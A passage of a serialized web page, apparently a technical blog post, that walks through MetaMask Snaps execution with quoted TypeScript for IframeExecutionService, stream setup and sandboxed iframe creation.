setupSnapProvider:",{"type":23,"tag":481,"props":33291,"children":33292},{"style":497},[33293],{"type":28,"value":33234},{"type":23,"tag":481,"props":33295,"children":33296},{"style":525},[33297],{"type":28,"value":199},{"type":23,"tag":481,"props":33299,"children":33300},{"style":508},[33301],{"type":28,"value":33302},"setupSnapProvider",{"type":23,"tag":481,"props":33304,"children":33305},{"style":525},[33306],{"type":28,"value":199},{"type":23,"tag":481,"props":33308,"children":33309},{"style":610},[33310],{"type":28,"value":33311},"bind",{"type":23,"tag":481,"props":33313,"children":33314},{"style":525},[33315],{"type":28,"value":618},{"type":23,"tag":481,"props":33317,"children":33318},{"style":497},[33319],{"type":28,"value":15186},{"type":23,"tag":481,"props":33321,"children":33322},{"style":525},[33323],{"type":28,"value":4214},{"type":23,"tag":481,"props":33325,"children":33326},{"class":483,"line":843},[33327],{"type":23,"tag":481,"props":33328,"children":33329},{"style":525},[33330],{"type":28,"value":14068},{"type":23,"tag":481,"props":33332,"children":33333},{"class":483,"line":864},[33334],{"type":23,"tag":481,"props":33335,"children":33336},{"emptyLinePlaceholder":15},[33337],{"type":28,"value":1210},{"type":23,"tag":481,"props":33339,"children":33340},{"class":483,"line":873},[33341],{"type":23,"tag":481,"props":33342,"children":33343},{"style":488},[33344],{"type":28,"value":33345},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":481,"props":33347,"children":33348},{"class":483,"line":1125},[33349,33353,33357,33361,33365,33369],{"type":23,"tag":481,"props":33350,"children":33351},{"style":508},[33352],{"type":28,"value":33199},{"type":23,"tag":481,"props":33354,"children":33355},{"style":525},[33356],{"type":28,"value":199},{"type":23,"tag":481,"props":33358,"children":33359},{"style":508},[33360],{"type":28,"value":33208},{"type":23,"tag":481,"props":33362,"children":33363},{"style":525},[33364],{"type":28,"value":199},{"type":23,"tag":481,"props":33366,"children":33367},{"style":508},[33368],{"type":28,"value":33217},{"type":23,"tag":481,"props":33370,"children":33371},{"style":514},[33372],{"type":28,"value":33373}," =\n",{"type":23,"tag":481,"props":33375,"children":33376},{"class":483,"line":1142},[33377,33382],{"type":23,"tag":481,"props":33378,"children":33379},{"style":1805},[33380],{"type":28,"value":33381}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":481,"props":33383,"children":33384},{"style":525},[33385],{"type":28,"value":528},{"type":23,"tag":481,"props":33387,"children":33388},{"class":483,"line":1159},[33389],{"type":23,"tag":481,"props":33390,"children":33391},{"style":488},[33392],{"type":28,"value":33153},{"type":23,"tag":24,"props":33394,"children":33395},{},[33396,33398,33404,33406,33412,33414,33419],{"type":28,"value":33397},"This code is defining the ",{"type":23,"tag":64,"props":33399,"children":33401},{"className":33400},[],[33402],{"type":28,"value":33403},"snapExecutionServiceArgs",{"type":28,"value":33405}," object, which contains information required for the ",{"type":23,"tag":64,"props":33407,"children":33409},{"className":33408},[],[33410],{"type":28,"value":33411},"IframeExecutionService",{"type":28,"value":33413}," to execute snaps. The ",{"type":23,"tag":64,"props":33415,"children":33417},{"className":33416},[],[33418],{"type":28,"value":33217},{"type":28,"value":33420}," points to the location where the execution environment resides.",{"type":23,"tag":16388,"props":33422,"children":33424},{"id":33423},"executing-snaps-iframeexecutionservice-in-action",[33425],{"type":28,"value":33426},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":24,"props":33428,"children":33429},{},[33430,33432,33437,33439,33445],{"type":28,"value":33431},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":64,"props":33433,"children":33435},{"className":33434},[],[33436],{"type":28,"value":33411},{"type":28,"value":33438}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":190,"props":33440,"children":33443},{"href":33441,"rel":33442},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[194],[33444],{"type":28,"value":64},{"type":28,"value":287},{"type":23,"tag":435,"props":33447,"children":33451},{"className":33448,"code":33449,"language":33450,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[33452],{"type":23,"tag":64,"props":33453,"children":33454},{"__ignoreMap":7},[33455,33463,33492,33522,33575,33612,33619,33626,33634,33641,33648,33656,33691,33699,33755,33817,33825],{"type":23,"tag":481,"props":33456,"children":33457},{"class":483,"line":484},[33458],{"type":23,"tag":481,"props":33459,"children":33460},{"style":488},[33461],{"type":28,"value":33462},"// Register message handlers for snap interactions\n",{"type":23,"tag":481,"props":33464,"children":33465},{"class":483,"line":351},[33466,33470,33474,33479,33483,33488],{"type":23,"tag":481,"props":33467,"children":33468},{"style":497},[33469],{"type":28,"value":15186},{"type":23,"tag":481,"props":33471,"children":33472},{"style":525},[33473],{"type":28,"value":199},{"type":23,"tag":481,"props":33475,"children":33476},{"style":508},[33477],{"type":28,"value":33478},"#messenger",{"type":23,"tag":481,"props":33480,"children":33481},{"style":525},[33482],{"type":28,"value":199},{"type":23,"tag":481,"props":33484,"children":33485},{"style":610},[33486],{"type":28,"value":33487},"registerActionHandler",{"type":23,"tag":481,"props":33489,"children":33490},{"style":525},[33491],{"type":28,"value":988},{"type":23,"tag":481,"props":33493,"children":33494},{"class":483,"line":531},[33495,33500,33504,33509,33513,33518],{"type":23,"tag":481,"props":33496,"children":33497},{"style":1805},[33498],{"type":28,"value":33499}," `",{"type":23,"tag":481,"props":33501,"children":33502},{"style":497},[33503],{"type":28,"value":31625},{"type":23,"tag":481,"props":33505,"children":33506},{"style":508},[33507],{"type":28,"value":33508},"controllerName",{"type":23,"tag":481,"props":33510,"children":33511},{"style":497},[33512],{"type":28,"value":31657},{"type":23,"tag":481,"props":33514,"children":33515},{"style":1805},[33516],{"type":28,"value":33517},":handleRpcRequest`",{"type":23,"tag":481,"props":33519,"children":33520},{"style":525},[33521],{"type":28,"value":1033},{"type":23,"tag":481,"props":33523,"children":33524},{"class":483,"line":567},[33525,33530,33534,33539,33543,33548,33552,33557,33561,33566,33570],{"type":23,"tag":481,"props":33526,"children":33527},{"style":497},[33528],{"type":28,"value":33529}," async",{"type":23,"tag":481,"props":33531,"children":33532},{"style":525},[33533],{"type":28,"value":578},{"type":23,"tag":481,"props":33535,"children":33536},{"style":508},[33537],{"type":28,"value":33538},"snapId",{"type":23,"tag":481,"props":33540,"children":33541},{"style":514},[33542],{"type":28,"value":287},{"type":23,"tag":481,"props":33544,"children":33545},{"style":943},[33546],{"type":28,"value":33547}," string",{"type":23,"tag":481,"props":33549,"children":33550},{"style":525},[33551],{"type":28,"value":588},{"type":23,"tag":481,"props":33553,"children":33554},{"style":508},[33555],{"type":28,"value":33556},"options",{"type":23,"tag":481,"props":33558,"children":33559},{"style":514},[33560],{"type":28,"value":287},{"type":23,"tag":481,"props":33562,"children":33563},{"style":943},[33564],{"type":28,"value":33565}," SnapRpcHookArgs",{"type":23,"tag":481,"props":33567,"children":33568},{"style":525},[33569],{"type":28,"value":598},{"type":23,"tag":481,"props":33571,"children":33572},{"style":497},[33573],{"type":28,"value":33574},"=>\n",{"type":23,"tag":481,"props":33576,"children":33577},{"class":483,"line":678},[33578,33583,33587,33592,33596,33600,33604,33608],{"type":23,"tag":481,"props":33579,"children":33580},{"style":497},[33581],{"type":28,"value":33582}," this",{"type":23,"tag":481,"props":33584,"children":33585},{"style":525},[33586],{"type":28,"value":199},{"type":23,"tag":481,"props":33588,"children":33589},{"style":610},[33590],{"type":28,"value":33591},"handleRpcRequest",{"type":23,"tag":481,"props":33593,"children":33594},{"style":525},[33595],{"type":28,"value":618},{"type":23,"tag":481,"props":33597,"children":33598},{"style":508},[33599],{"type":28,"value":33538},{"type":23,"tag":481,"props":33601,"children":33602},{"style":525},[33603],{"type":28,"value":588},{"type":23,"tag":481,"props":33605,"children":33606},{"style":508},[33607],{"type":28,"value":33556},{"type":23,"tag":481,"props":33609,"children":33610},{"style":525},[33611],{"type":28,"value":4214},{"type":23,"tag":481,"props":33613,"children":33614},{"class":483,"line":784},[33615],{"type":23,"tag":481,"props":33616,"children":33617},{"style":525},[33618],{"type":28,"value":1366},{"type":23,"tag":481,"props":33620,"children":33621},{"class":483,"line":812},[33622],{"type":23,"tag":481,"props":33623,"children":33624},{"emptyLinePlaceholder":15},[33625],{"type":28,"value":1210},{"type":23,"tag":481,"props":33627,"children":33628},{"class":483,"line":825},[33629],{"type":23,"tag":481,"props":33630,"children":33631},{"style":488},[33632],{"type":28,"value":33633},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":481,"props":33635,"children":33636},{"class":483,"line":843},[33637],{"type":23,"tag":481,"props":33638,"children":33639},{"style":488},[33640],{"type":28,"value":33153},{"type":23,"tag":481,"props":33642,"children":33643},{"class":483,"line":864},[33644],{"type":23,"tag":481,"props":33645,"children":33646},{"emptyLinePlaceholder":15},[33647],{"type":28,"value":1210},{"type":23,"tag":481,"props":33649,"children":33650},{"class":483,"line":873},[33651],{"type":23,"tag":481,"props":33652,"children":33653},{"style":488},[33654],{"type":28,"value":33655},"// Execute a snap\n",{"type":23,"tag":481,"props":33657,"children":33658},{"class":483,"line":1125},[33659,33664,33669,33673,33678,33682,33687],{"type":23,"tag":481,"props":33660,"children":33661},{"style":508},[33662],{"type":28,"value":33663},"async",{"type":23,"tag":481,"props":33665,"children":33666},{"style":610},[33667],{"type":28,"value":33668}," executeSnap",{"type":23,"tag":481,"props":33670,"children":33671},{"style":525},[33672],{"type":28,"value":618},{"type":23,"tag":481,"props":33674,"children":33675},{"style":508},[33676],{"type":28,"value":33677},"snapData",{"type":23,"tag":481,"props":33679,"children":33680},{"style":525},[33681],{"type":28,"value":12820},{"type":23,"tag":481,"props":33683,"children":33684},{"style":508},[33685],{"type":28,"value":33686},"SnapExecutionData",{"type":23,"tag":481,"props":33688,"children":33689},{"style":525},[33690],{"type":28,"value":12292},{"type":23,"tag":481,"props":33692,"children":33693},{"class":483,"line":1142},[33694],{"type":23,"tag":481,"props":33695,"children":33696},{"style":488},[33697],{"type":28,"value":33698}," // Initialize job, streams, and environment\n",{"type":23,"tag":481,"props":33700,"children":33701},{"class":483,"line":1159},[33702,33707,33711,33716,33721,33725,33730,33734,33738,33743,33747,33751],{"type":23,"tag":481,"props":33703,"children":33704},{"style":497},[33705],{"type":28,"value":33706}," const",{"type":23,"tag":481,"props":33708,"children":33709},{"style":525},[33710],{"type":28,"value":7069},{"type":23,"tag":481,"props":33712,"children":33713},{"style":508},[33714],{"type":28,"value":33715},"jobId",{"type":23,"tag":481,"props":33717,"children":33718},{"style":525},[33719],{"type":28,"value":33720}," } ",{"type":23,"tag":481,"props":33722,"children":33723},{"style":514},[33724],{"type":28,"value":603},{"type":23,"tag":481,"props":33726,"children":33727},{"style":535},[33728],{"type":28,"value":33729}," await",{"type":23,"tag":481,"props":33731,"children":33732},{"style":497},[33733],{"type":28,"value":33234},{"type":23,"tag":481,"props":33735,"children":33736},{"style":525},[33737],{"type":28,"value":199},{"type":23,"tag":481,"props":33739,"children":33740},{"style":610},[33741],{"type":28,"value":33742},"initJob",{"type":23,"tag":481,"props":33744,"children":33745},{"style":525},[33746],{"type":28,"value":618},{"type":23,"tag":481,"props":33748,"children":33749},{"style":508},[33750],{"type":28,"value":33677},{"type":23,"tag":481,"props":33752,"children":33753},{"style":525},[33754],{"type":28,"value":1366},{"type":23,"tag":481,"props":33756,"children":33757},{"class":483,"line":1172},[33758,33762,33766,33771,33775,33780,33784,33788,33792,33796,33800,33805,33809,33813],{"type":23,"tag":481,"props":33759,"children":33760},{"style":497},[33761],{"type":28,"value":33706},{"type":23,"tag":481,"props":33763,"children":33764},{"style":525},[33765],{"type":28,"value":7069},{"type":23,"tag":481,"props":33767,"children":33768},{"style":508},[33769],{"type":28,"value":33770},"worker",{"type":23,"tag":481,"props":33772,"children":33773},{"style":525},[33774],{"type":28,"value":588},{"type":23,"tag":481,"props":33776,"children":33777},{"style":508},[33778],{"type":28,"value":33779},"stream",{"type":23,"tag":481,"props":33781,"children":33782},{"style":525},[33783],{"type":28,"value":33720},{"type":23,"tag":481,"props":33785,"children":33786},{"style":514},[33787],{"type":28,"value":603},{"type":23,"tag":481,"props":33789,"children":33790},{"style":535},[33791],{"type":28,"value":33729},{"type":23,"tag":481,"props":33793,"children":33794},{"style":497},[33795],{"type":28,"value":33234},{"type":23,"tag":481,"props":33797,"children":33798},{"style":525},[33799],{"type":28,"value":199},{"type":23,"tag":481,"props":33801,"children":33802},{"style":610},[33803],{"type":28,"value":33804},"initEnvStream",{"type":23,"tag":481,"props":33806,"children":33807},{"style":525},[33808],{"type":28,"value":618},{"type":23,"tag":481,"props":33810,"children":33811},{"style":508},[33812],{"type":28,"value":33715},{"type":23,"tag":481,"props":33814,"children":33815},{"style":525},[33816],{"type":28,"value":1366},{"type":23,"tag":481,"props":33818,"children":33819},{"class":483,"line":1181},[33820],{"type":23,"tag":481,"props":33821,"children":33822},{"style":488},[33823],{"type":28,"value":33824}," // ...\n",{"type":23,"tag":481,"props":33826,"children":33827},{"class":483,"line":1204},[33828],{"type":23,"tag":481,"props":33829,"children":33830},{"style":525},[33831],{"type":28,"value":1443},{"type":23,"tag":24,"props":33833,"children":33834},{},[33835,33836,33841,33843,33849],{"type":28,"value":14104},{"type":23,"tag":64,"props":33837,"children":33839},{"className":33838},[],[33840],{"type":28,"value":33411},{"type":28,"value":33842}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":64,"props":33844,"children":33846},{"className":33845},[],[33847],{"type":28,"value":33848},"${controllerName}:executeSnap",{"type":28,"value":33850}," handler triggers the snap execution process.",{"type":23,"tag":16388,"props":33852,"children":33854},{"id":33853},"step-by-step-execution-from-initialization-to-iframe-creation",[33855,33857],{"type":28,"value":33856},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":190,"props":33858,"children":33861},{"href":33859,"rel":33860},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[194],[33862],{"type":28,"value":33863},"creation",{"type":23,"tag":435,"props":33865,"children":33867},{"className":33448,"code":33866,"language":33450,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[33868],{"type":23,"tag":64,"props":33869,"children":33870},{"__ignoreMap":7},[33871,33920,33941,33962,33970,34034,34041,34069,34086,34103,34120,34137,34144,34151,34175],{"type":23,"tag":481,"props":33872,"children":33873},{"class":483,"line":484},[33874,33879,33884,33889,33893,33897,33901,33905,33910,33915],{"type":23,"tag":481,"props":33875,"children":33876},{"style":508},[33877],{"type":28,"value":33878},"protected",{"type":23,"tag":481,"props":33880,"children":33881},{"style":508},[33882],{"type":28,"value":33883}," async",{"type":23,"tag":481,"props":33885,"children":33886},{"style":610},[33887],{"type":28,"value":33888}," initEnvStream",{"type":23,"tag":481,"props":33890,"children":33891},{"style":525},[33892],{"type":28,"value":618},{"type":23,"tag":481,"props":33894,"children":33895},{"style":508},[33896],{"type":28,"value":33715},{"type":23,"tag":481,"props":33898,"children":33899},{"style":525},[33900],{"type":28,"value":12820},{"type":23,"tag":481,"props":33902,"children":33903},{"style":508},[33904],{"type":28,"value":27180},{"type":23,"tag":481,"props":33906,"children":33907},{"style":525},[33908],{"type":28,"value":33909},"): ",{"type":23,"tag":481,"props":33911,"children":33912},{"style":943},[33913],{"type":28,"value":33914},"Promise",{"type":23,"tag":481,"props":33916,"children":33917},{"style":525},[33918],{"type":28,"value":33919},"\u003C{\n",{"type":23,"tag":481,"props":33921,"children":33922},{"class":483,"line":351},[33923,33928,33932,33937],{"type":23,"tag":481,"props":33924,"children":33925},{"style":508},[33926],{"type":28,"value":33927}," worker",{"type":23,"tag":481,"props":33929,"children":33930},{"style":514},[33931],{"type":28,"value":287},{"type":23,"tag":481,"props":33933,"children":33934},{"style":943},[33935],{"type":28,"value":33936}," Window",{"type":23,"tag":481,"props":33938,"children":33939},{"style":525},[33940],{"type":28,"value":528},{"type":23,"tag":481,"props":33942,"children":33943},{"class":483,"line":531},[33944,33949,33953,33958],{"type":23,"tag":481,"props":33945,"children":33946},{"style":508},[33947],{"type":28,"value":33948}," stream",{"type":23,"tag":481,"props":33950,"children":33951},{"style":514},[33952],{"type":28,"value":287},{"type":23,"tag":481,"props":33954,"children":33955},{"style":943},[33956],{"type":28,"value":33957}," BasePostMessageStream",{"type":23,"tag":481,"props":33959,"children":33960},{"style":525},[33961],{"type":28,"value":528},{"type":23,"tag":481,"props":33963,"children":33964},{"class":483,"line":567},[33965],{"type":23,"tag":481,"props":33966,"children":33967},{"style":525},[33968],{"type":28,"value":33969}," }> {\n",{"type":23,"tag":481,"props":33971,"children":33972},{"class":483,"line":678},[33973,33978,33983,33987,33991,33996,34000,34004,34008,34013,34017,34022,34026,34030],{"type":23,"tag":481,"props":33974,"children":33975},{"style":525},[33976],{"type":28,"value":33977}," const ",{"type":23,"tag":481,"props":33979,"children":33980},{"style":508},[33981],{"type":28,"value":33982},"iframeWindow",{"type":23,"tag":481,"props":33984,"children":33985},{"style":514},[33986],{"type":28,"value":517},{"type":23,"tag":481,"props":33988,"children":33989},{"style":535},[33990],{"type":28,"value":33729},{"type":23,"tag":481,"props":33992,"children":33993},{"style":610},[33994],{"type":28,"value":33995}," createWindow",{"type":23,"tag":481,"props":33997,"children":33998},{"style":525},[33999],{"type":28,"value":618},{"type":23,"tag":481,"props":34001,"children":34002},{"style":497},[34003],{"type":28,"value":15186},{"type":23,"tag":481,"props":34005,"children":34006},{"style":525},[34007],{"type":28,"value":199},{"type":23,"tag":481,"props":34009,"children":34010},{"style":508},[34011],{"type":28,"value":34012},"iframeUrl",{"type":23,"tag":481,"props":34014,"children":34015},{"style":525},[34016],{"type":28,"value":199},{"type":23,"tag":481,"props":34018,"children":34019},{"style":610},[34020],{"type":28,"value":34021},"toString",{"type":23,"tag":481,"props":34023,"children":34024},{"style":525},[34025],{"type":28,"value":15869},{"type":23,"tag":481,"props":34027,"children":34028},{"style":508},[34029],{"type":28,"value":33715},{"type":23,"tag":481,"props":34031,"children":34032},{"style":525},[34033],{"type":28,"value":1366},{"type":23,"tag":481,"props":34035,"children":34036},{"class":483,"line":784},[34037],{"type":23,"tag":481,"props":34038,"children":34039},{"emptyLinePlaceholder":15},[34040],{"type":28,"value":1210},{"type":23,"tag":481,"props":34042,"children":34043},{"class":483,"line":812},[34044,34048,34052,34056,34060,34065],{"type":23,"tag":481,"props":34045,"children":34046},{"style":525},[34047],{"type":28,"value":33977},{"type":23,"tag":481,"props":34049,"children":34050},{"style":508},[34051],{"type":28,"value":33779},{"type":23,"tag":481,"props":34053,"children":34054},{"style":514},[34055],{"type":28,"value":517},{"type":23,"tag":481,"props":34057,"children":34058},{"style":497},[34059],{"type":28,"value":29448},{"type":23,"tag":481,"props":34061,"children":34062},{"style":610},[34063],{"type":28,"value":34064}," WindowPostMessageStream",{"type":23,"tag":481,"props":34066,"children":34067},{"style":525},[34068],{"type":28,"value":12629},{"type":23,"tag":481,"props":34070,"children":34071},{"class":483,"line":825},[34072,34077,34082],{"type":23,"tag":481,"props":34073,"children":34074},{"style":508},[34075],{"type":28,"value":34076}," name:",{"type":23,"tag":481,"props":34078,"children":34079},{"style":1805},[34080],{"type":28,"value":34081}," 'parent'",{"type":23,"tag":481,"props":34083,"children":34084},{"style":525},[34085],{"type":28,"value":1033},{"type":23,"tag":481,"props":34087,"children":34088},{"class":483,"line":843},[34089,34094,34099],{"type":23,"tag":481,"props":34090,"children":34091},{"style":508},[34092],{"type":28,"value":34093}," target:",{"type":23,"tag":481,"props":34095,"children":34096},{"style":1805},[34097],{"type":28,"value":34098}," 'child'",{"type":23,"tag":481,"props":34100,"children":34101},{"style":525},[34102],{"type":28,"value":1033},{"type":23,"tag":481,"props":34104,"children":34105},{"class":483,"line":864},[34106,34111,34116],{"type":23,"tag":481,"props":34107,"children":34108},{"style":508},[34109],{"type":28,"value":34110}," targetWindow:",{"type":23,"tag":481,"props":34112,"children":34113},{"style":508},[34114],{"type":28,"value":34115}," iframeWindow",{"type":23,"tag":481,"props":34117,"children":34118},{"style":525},[34119],{"type":28,"value":1033},{"type":23,"tag":481,"props":34121,"children":34122},{"class":483,"line":873},[34123,34128,34133],{"type":23,"tag":481,"props":34124,"children":34125},{"style":508},[34126],{"type":28,"value":34127}," targetOrigin:",{"type":23,"tag":481,"props":34129,"children":34130},{"style":1805},[34131],{"type":28,"value":34132}," '*'",{"type":23,"tag":481,"props":34134,"children":34135},{"style":525},[34136],{"type":28,"value":1033},{"type":23,"tag":481,"props":34138,"children":34139},{"class":483,"line":1125},[34140],{"type":23,"tag":481,"props":34141,"children":34142},{"style":525},[34143],{"type":28,"value":29772},{"type":23,"tag":481,"props":34145,"children":34146},{"class":483,"line":1142},[34147],{"type":23,"tag":481,"props":34148,"children":34149},{"emptyLinePlaceholder":15},[34150],{"type":28,"value":1210},{"type":23,"tag":481,"props":34152,"children":34153},{"class":483,"line":1159},[34154,34159,34163,34167,34171],{"type":23,"tag":481,"props":34155,"children":34156},{"style":525},[34157],{"type":28,"value":34158}," return { worker: ",{"type":23,"tag":481,"props":34160,"children":34161},{"style":508},[34162],{"type":28,"value":33982},{"type":23,"tag":481,"props":34164,"children":34165},{"style":525},[34166],{"type":28,"value":588},{"type":23,"tag":481,"props":34168,"children":34169},{"style":508},[34170],{"type":28,"value":33779},{"type":23,"tag":481,"props":34172,"children":34173},{"style":525},[34174],{"type":28,"value":15793},{"type":23,"tag":481,"props":34176,"children":34177},{"class":483,"line":1172},[34178],{"type":23,"tag":481,"props":34179,"children":34180},{"style":525},[34181],{"type":28,"value":3348},{"type":23,"tag":24,"props":34183,"children":34184},{},[34185,34187,34193,34195,34202],{"type":28,"value":34186},"Here the iframe is created via ",{"type":23,"tag":64,"props":34188,"children":34190},{"className":34189},[],[34191],{"type":28,"value":34192},"createWindow",{"type":28,"value":34194},", which is defined in snaps-utils ",{"type":23,"tag":190,"props":34196,"children":34199},{"href":34197,"rel":34198},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[194],[34200],{"type":28,"value":34201},"package",{"type":28,"value":287},{"type":23,"tag":435,"props":34204,"children":34206},{"className":33448,"code":34205,"language":33450,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[34207],{"type":23,"tag":64,"props":34208,"children":34209},{"__ignoreMap":7},[34210,34253,34291,34328,34335,34355,34393,34400,34437],{"type":23,"tag":481,"props":34211,"children":34212},{"class":483,"line":484},[34213,34217,34222,34226,34231,34235,34240,34244,34249],{"type":23,"tag":481,"props":34214,"children":34215},{"style":497},[34216],{"type":28,"value":7139},{"type":23,"tag":481,"props":34218,"children":34219},{"style":508},[34220],{"type":28,"value":34221}," iframe",{"type":23,"tag":481,"props":34223,"children":34224},{"style":514},[34225],{"type":28,"value":517},{"type":23,"tag":481,"props":34227,"children":34228},{"style":508},[34229],{"type":28,"value":34230}," document",{"type":23,"tag":481,"props":34232,"children":34233},{"style":525},[34234],{"type":28,"value":199},{"type":23,"tag":481,"props":34236,"children":34237},{"style":610},[34238],{"type":28,"value":34239},"createElement",{"type":23,"tag":481,"props":34241,"children":34242},{"style":525},[34243],{"type":28,"value":618},{"type":23,"tag":481,"props":34245,"children":34246},{"style":1805},[34247],{"type":28,"value":34248},"'iframe'",{"type":23,"tag":481,"props":34250,"children":34251},{"style":525},[34252],{"type":28,"value":1366},{"type":23,"tag":481,"props":34254,"children":34255},{"class":483,"line":351},[34256,34261,34265,34270,34274,34279,34283,34287],{"type":23,"tag":481,"props":34257,"children":34258},{"style":508},[34259],{"type":28,"value":34260}," iframe",{"type":23,"tag":481,"props":34262,"children":34263},{"style":525},[34264],{"type":28,"value":199},{"type":23,"tag":481,"props":34266,"children":34267},{"style":610},[34268],{"type":28,"value":34269},"setAttribute",{"type":23,"tag":481,"props":34271,"children":34272},{"style":525},[34273],{"type":28,"value":618},{"type":23,"tag":481,"props":34275,"children":34276},{"style":1805},[34277],{"type":28,"value":34278},"'id'",{"type":23,"tag":481,"props":34280,"children":34281},{"style":525},[34282],{"type":28,"value":588},{"type":23,"tag":481,"props":34284,"children":34285},{"style":508},[34286],{"type":28,"value":1011},{"type":23,"tag":481,"props":34288,"children":34289},{"style":525},[34290],{"type":28,"value":1366},{"type":23,"tag":481,"props":34292,"children":34293},{"class":483,"line":531},[34294,34298,34302,34306,34310,34315,34319,34324],{"type":23,"tag":481,"props":34295,"children":34296},{"style":508},[34297],{"type":28,"value":34260},{"type":23,"tag":481,"props":34299,"children":34300},{"style":525},[34301],{"type":28,"value":199},{"type":23,"tag":481,"props":34303,"children":34304},{"style":610},[34305],{"type":28,"value":34269},{"type":23,"tag":481,"props":34307,"children":34308},{"style":525},[34309],{"type":28,"value":618},{"type":23,"tag":481,"props":34311,"children":34312},{"style":1805},[34313],{"type":28,"value":34314},"'data-testid'",{"type":23,"tag":481,"props":34316,"children":34317},{"style":525},[34318],{"type":28,"value":588},{"type":23,"tag":481,"props":34320,"children":34321},{"style":1805},[34322],{"type":28,"value":34323},"'snaps-iframe'",{"type":23,"tag":481,"props":34325,"children":34326},{"style":525},[34327],{"type":28,"value":1366},{"type":23,"tag":481,"props":34329,"children":34330},{"class":483,"line":567},[34331],{"type":23,"tag":481,"props":34332,"children":34333},{"emptyLinePlaceholder":15},[34334],{"type":28,"value":1210},{"type":23,"tag":481,"props":34336,"children":34337},{"class":483,"line":678},[34338,34342,34346,34351],{"type":23,"tag":481,"props":34339,"children":34340},{"style":535},[34341],{"type":28,"value":9766},{"type":23,"tag":481,"props":34343,"children":34344},{"style":525},[34345],{"type":28,"value":578},{"type":23,"tag":481,"props":34347,"children":34348},{"style":508},[34349],{"type":28,"value":34350},"sandbox",{"type":23,"tag":481,"props":34352,"children":34353},{"style":525},[34354],{"type":28,"value":12292},{"type":23,"tag":481,"props":34356,"children":34357},{"class":483,"line":784},[34358,34363,34367,34371,34375,34380,34384,34389],{"type":23,"tag":481,"props":34359,"children":34360},{"style":508},[34361],{"type":28,"value":34362}," iframe",{"type":23,"tag":481,"props":34364,"children":34365},{"style":525},[34366],{"type":28,"value":199},{"type":23,"tag":481,"props":34368,"children":34369},{"style":610},[34370],{"type":28,"value":34269},{"type":23,"tag":481,"props":34372,"children":34373},{"style":525},[34374],{"type":28,"value":618},{"type":23,"tag":481,"props":34376,"children":34377},{"style":1805},[34378],{"type":28,"value":34379},"'sandbox'",{"type":23,"tag":481,"props":34381,"children":34382},{"style":525},[34383],{"type":28,"value":588},{"type":23,"tag":481,"props":34385,"children":34386},{"style":1805},[34387],{"type":28,"value":34388},"'allow-scripts'",{"type":23,"tag":481,"props":34390,"children":34391},{"style":525},[34392],{"type":28,"value":1366},{"type":23,"tag":481,"props":34394,"children":34395},{"class":483,"line":812},[34396],{"type":23,"tag":481,"props":34397,"children":34398},{"style":525},[34399],{"type":28,"value":879},{"type":23,"tag":481,"props":34401,"children":34402},{"class":483,"line":825},[34403,34407,34411,34415,34419,34424,34428,34433],{"type":23,"tag":481,"props":34404,"children":34405},{"style":508},[34406],{"type":28,"value":34260},{"type":23,"tag":481,"props":34408,"children":34409},{"style":525},[34410],{"type":28,"value":199},{"type":23,"tag":481,"props":34412,"children":34413},{"style":610},[34414],{"type":28,"value":34269},{"type":23,"tag":481,"props":34416,"children":34417},{"style":525},[34418],{"type":28,"value":618},{"type":23,"tag":481,"props":34420,"children":34421},{"style":1805},[34422],{"type":28,"value":34423},"'src'",{"type":23,"tag":481,"props":34425,"children":34426},{"style":525},[34427],{"type":28,"value":588},{"type":23,"tag":481,"props":34429,"children":34430},{"style":508},[34431],{"type":28,"value":34432},"uri",{"type":23,"tag":481,"props":34434,"children":34435},{"style":525},[34436],{"type":28,"value":1366},{"type":23,"tag":481,"props":34438,"children":34439},{"class":483,"line":843},[34440,34444,34448,34452,34456,34461,34465,34470],{"type":23,"tag":481,"props":34441,"children":34442},{"style":508},[34443],{"type":28,"value":32190},{"type":23,"tag":481,"props":34445,"children":34446},{"style":525},[34447],{"type":28,"value":199},{"type":23,"tag":481,"props":34449,"children":34450},{"style":508},[34451],{"type":28,"value":29915},{"type":23,"tag":481,"props":34453,"children":34454},{"style":525},[34455],{"type":28,"value":199},{"type":23,"tag":481,"props":34457,"children":34458},{"style":610},[34459],{"type":28,"value":34460},"appendChild",{"type":23,"tag":481,"props":34462,"children":34463},{"style":525},[34464],{"type":28,"value":618},{"type":23,"tag":481,"props":34466,"children":34467},{"style":508},[34468],{"type":28,"value":34469},"iframe",{"type":23,"tag":481,"props":34471,"children":34472},{"style":525},[34473],{"type":28,"value":1366},{"type":23,"tag":24,"props":34475,